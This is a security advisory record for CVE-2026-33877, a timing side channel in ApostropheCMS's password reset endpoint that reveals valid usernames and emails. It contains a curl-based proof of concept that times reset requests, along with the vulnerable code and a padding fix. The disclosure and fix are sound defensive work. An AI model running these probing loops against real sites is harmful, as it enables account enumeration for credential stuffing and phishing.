{"id":"CVE-2026-33877","aliases":["GHSA-mj7r-x3h3-7rmr"],"url":"https://o3.security/vulnerability/CVE-2026-33877","summary":"ApostropheCMS: User Enumeration via Timing Side Channel in Password Reset Endpoint","details":"## Summary\n\nThe password reset endpoint (`/api/v1/@apostrophecms/login/reset-request`) exhibits a measurable timing side channel that allows unauthenticated attackers to enumerate valid usernames and email addresses. When a user is not found, the handler returns after a fixed 2-second artificial delay, but when a valid user is found, it performs database writes and SMTP operations with no equivalent delay normalization, producing a distinguishable timing profile.\n\n## Details\n\nThe `resetRequest` handler in `modules/@apostrophecms/login/index.js` attempts to obscure the user-not-found path with an artificial delay, but fails to normalize the timing of the user-found path:\n\n**User not found — fixed 2000ms delay** (`index.js:309-314`):\n```javascript\nif (!user) {\n  await wait();  // wait = (t = 2000) => Promise.delay(t)\n  self.apos.util.error(\n    `Reset password request error - the user ${email} doesn\\`t exist.`\n  );\n  return;\n}\n```\n\n**User found — variable-duration DB + SMTP operations, no artificial delay** (`index.js:323-355`):\n```javascript\nconst reset = self.apos.util.generateId();\nuser.passwordReset = reset;\nuser.passwordResetAt = new Date();\nawait self.apos.user.update(req, user, { permissions: false });\n// ... URL construction ...\nawait self.email(req, 'passwordResetEmail', {\n  user,\n  url: parsed.toString(),\n  site\n}, {\n  to: user.email,\n  subject: req.t('apostrophe:passwordResetRequest', { site })\n});\n```\n\nThe user-found path includes a MongoDB `update()` call and an SMTP `email()` send, which together produce response times that differ measurably from the fixed 2000ms delay. Depending on SMTP server latency, responses for valid users will either be noticeably faster (local/fast SMTP) or slower (remote SMTP) than the constant 2-second delay for invalid users.\n\nAdditionally, the `getPasswordResetUser` method (`index.js:664-666`) accepts both username and email via an `$or` query, enabling enumeration of both identifiers:\n```javascript\nconst criteriaOr = [\n  { username: email },\n  { email }\n];\n```\n\nThere is no rate limiting on the reset endpoint. The `checkLoginAttempts` throttle (`index.js:978`) is only applied to the login flow, allowing unlimited rapid probing of the reset endpoint.\n\n## PoC\n\n**Prerequisites:** An Apostrophe instance with `passwordReset: true` enabled in `@apostrophecms/login` configuration.\n\n**Step 1 — Baseline invalid user timing:**\n```bash\nfor i in $(seq 1 10); do\n  curl -s -o /dev/null -w \"%{time_total}\\n\" \\\n    -X POST http://localhost:3000/api/v1/@apostrophecms/login/reset-request \\\n    -H \"Content-Type: application/json\" \\\n    -d '{\"email\": \"nonexistent-user-'$i'@example.com\"}'\ndone\n# Expected: all responses cluster tightly around 2.0xx seconds\n```\n\n**Step 2 — Test known valid user:**\n```bash\nfor i in $(seq 1 10); do\n  curl -s -o /dev/null -w \"%{time_total}\\n\" \\\n    -X POST http://localhost:3000/api/v1/@apostrophecms/login/reset-request \\\n    -H \"Content-Type: application/json\" \\\n    -d '{\"email\": \"admin\"}'\ndone\n# Expected: response times differ from 2.0s baseline (faster with local SMTP, slower with remote SMTP)\n```\n\n**Step 3 — Statistical comparison:**\nThe two distributions will show a measurable divergence. With a local mail server, valid-user responses typically complete in <500ms. With a remote SMTP server, valid-user responses may take 3-5+ seconds. Either way, the timing is distinguishable from the fixed 2000ms invalid-user delay.\n\n## Impact\n\n- **Account enumeration:** An unauthenticated attacker can determine whether a given username or email address has an account in the Apostrophe instance.\n- **Credential stuffing preparation:** Confirmed valid accounts can be targeted with credential stuffing attacks using breached password databases.\n- **Phishing targeting:** Knowledge of valid accounts enables targeted phishing campaigns against confirmed users.\n- **No rate limiting:** The absence of throttling on the reset endpoint allows high-speed automated enumeration.\n- **Mitigating factor:** The `passwordReset` option defaults to `false` (`index.js:62`), so only instances that explicitly enable password reset are affected.\n\n## Recommended Fix\n\nNormalize all code paths to a constant minimum duration, ensuring the response time does not leak whether a user was found:\n\n```javascript\nasync resetRequest(req) {\n  const MIN_RESPONSE_TIME = 2000;\n  const startTime = Date.now();\n  const site = (req.headers.host || '').replace(/:\\d+$/, '');\n  const email = self.apos.launder.string(req.body.email);\n  if (!email.length) {\n    throw self.apos.error('invalid', req.t('apostrophe:loginResetEmailRequired'));\n  }\n  let user;\n  try {\n    user = await self.getPasswordResetUser(req.body.email);\n  } catch (e) {\n    self.apos.util.error(e);\n  }\n  if (!user) {\n    self.apos.util.error(\n      `Reset password request error - the user ${email} doesn\\`t exist.`\n    );\n  } else if (!user.email) {\n    self.apos.util.error(\n      `Reset password request error - the user ${user.username} doesn\\`t have an email.`\n    );\n  } else {\n    const reset = self.apos.util.generateId();\n    user.passwordReset = reset;\n    user.passwordResetAt = new Date();\n    await self.apos.user.update(req, user, { permissions: false });\n    let port = (req.headers.host || '').split(':')[1];\n    if (!port || [ '80', '443' ].includes(port)) {\n      port = '';\n    } else {\n      port = `:${port}`;\n    }\n    const parsed = new URL(\n      req.absoluteUrl,\n      self.apos.baseUrl\n        ? undefined\n        : `${req.protocol}://${req.hostname}${port}`\n    );\n    parsed.pathname = self.login();\n    parsed.search = '?';\n    parsed.searchParams.append('reset', reset);\n    parsed.searchParams.append('email', user.email);\n    try {\n      await self.email(req, 'passwordResetEmail', {\n        user,\n        url: parsed.toString(),\n        site\n      }, {\n        to: user.email,\n        subject: req.t('apostrophe:passwordResetRequest', { site })\n      });\n    } catch (err) {\n      self.apos.util.error(`Error while sending email to ${user.email}`, err);\n    }\n  }\n  // Pad all paths to a constant minimum duration\n  const elapsed = Date.now() - startTime;\n  if (elapsed < MIN_RESPONSE_TIME) {\n    await Promise.delay(MIN_RESPONSE_TIME - elapsed);\n  }\n},\n```\n\nAdditionally, consider applying rate limiting to the `reset-request` endpoint to prevent high-speed enumeration attempts.","published":"2026-04-15T19:11:06.796Z","modified":"2026-08-12T03:51:30.501663898Z","cvss":{"score":3.7,"severity":"LOW","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N"},"epss":{"score":0.00365,"percentile":0.29417,"asOf":"2026-08-12"},"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"npm","name":"apostrophe","fixedVersion":"4.29.0"}],"fix":{"url":"https://github.com/apostrophecms/apostrophe/commit/e266cffd8c0d331a9b05c92bf11616556efcdc77","label":"apostrophecms/apostrophe@e266cff"},"references":[{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/33xxx/CVE-2026-33877.json"},{"type":"ADVISORY","url":"https://github.com/apostrophecms/apostrophe/security/advisories/GHSA-mj7r-x3h3-7rmr"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-33877"},{"type":"FIX","url":"https://github.com/apostrophecms/apostrophe/commit/e266cffd8c0d331a9b05c92bf11616556efcdc77"},{"type":"PACKAGE","url":"https://github.com/apostrophecms/apostrophe"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T03:51:30.501663898Z"}}